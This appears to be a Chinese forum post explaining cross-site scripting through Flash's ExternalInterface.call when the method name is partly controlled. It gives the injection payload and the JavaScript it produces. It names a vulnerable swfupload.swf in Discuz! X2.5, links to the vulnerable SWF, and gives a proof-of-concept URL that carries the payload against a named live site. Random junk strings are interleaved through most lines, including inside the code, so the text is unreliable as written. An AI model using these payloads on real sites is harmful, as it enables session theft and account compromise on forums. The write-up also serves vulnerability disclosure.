上回我们说
- F; U t; R% E4 k6 @9 U- [% |6 Q$ ?; ^4 g* d, _. j2 V
flash.external.ExternalInterface.call($methodName, $parameter)
' X$ f1 v( X. g- g& V9 I在浏览器中执行的是
0 y/ c9 O$ {4 l% @
I2 ^; a1 y( C$ X# {5 F" jtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
, |" f4 y+ k2 n对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
" d5 D; w2 X$ U9 [8 o0 }
2 x, i( H" B' Z9 O/ Sflash.external.ExternalInterface.call("object."+$methodName, $parameter)0 G$ O9 |& e9 ?: j' M- ?
$methodName = a())}catch(e){alert(/xss/)}//0 ?+ ?7 w& v6 Q& K
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。. w4 [6 ^, W( X4 e. m
/ g* g6 F9 |/ t6 Ftry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' z: Z# b) Z, i, a9 x. n: m- h, L+ M' U9 h7 {. S/ O5 I% ]
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
- v; M$ Y, S1 C5 O: L% ]杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。8 b& _/ Y/ J: y: L: Z; i0 m
+ ?; @$ I1 |( B& `
2 F/ a1 q7 L7 L& Z0 J+ f, e: [3 u1 @% o
漏洞文件:upload\static\image\common\swfupload.swf
1 Q8 ]9 P) \5 `# p& P$ y9 h- y. i5 R& D/ y
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
! @0 `' ]: w) Y9 w" h
3 {( n* R2 s9 {, w9 v' }4 w4 V4 A. E, K
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
( r ^1 {4 c, _2 S5 F
. {9 \. w! l9 D6 ^: w) h3 N) _+ \# O
|